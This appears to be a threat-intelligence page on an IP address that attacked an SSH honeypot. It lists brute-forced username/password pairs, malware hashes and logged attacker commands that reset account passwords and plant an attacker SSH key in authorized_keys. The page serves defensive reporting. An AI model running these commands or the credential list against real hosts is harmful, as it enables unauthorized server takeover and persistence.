⚠TROYANOSYVIRUS
Active Threat • HIGH

144.91.68.174

Country of Origin🇸🇬 Singapore
First Detection2/2/2026
Last Activity2/25/2026
ISPOVH SAS
🎯
8085
Total Attacks
🔌
1
Ports
📡
1
Attack Types
🦠
9
Malware

Geolocation

Country
🇸🇬 Singapore
City
Unknown
ASN
AS16276
ISP
OVH SAS

Attack Types

cowrie

Attacked Ports

22

Associated Malware

13267ce945fd74ddc450...→1c7629250575b0878789...→1fb3dd3396571a462ccf...→28fd355c41a2588baf2b...→49dc25bdbd3f81411e1f...→

Attempted Credentials

🔐root/qazwsx1234
2x
🔐cooper/cooper
2x
🔐alexander/alexander
2x
🔐root/root@12345
2x
🔐root/112233
2x
🔐root/a1s2d3f4
2x
🔐valeria/valeria
2x
🔐developer/123456
2x
🔐vladimir/vladimir
2x
🔐teresa/teresa
2x
🔐mina/mina
2x
🔐linuxuser/123456
2x
🔐vladymyr/vladymyr
2x
🔐root/131313
2x
🔐wyatt/wyatt
2x

Executed Commands

$if [ [ ! -d ${HOME}/.ssh ] ]8x
$then8x
$nproc7x
$uname -m6x
$fi2x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "crNdxJXn\ncrNdxJXn" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPk1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "ubuntu\nDRV2ojpj\nDRV2ojpj" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCf1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "qcjzsUa8\nqcjzsUa8" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPk1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "javier\nboOvOaMg\nboOvOaMg" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCf1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "SMbxJr6f\nSMbxJr6f" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPk1x

Risk Assessment

65
/100
LowMediumHighCritical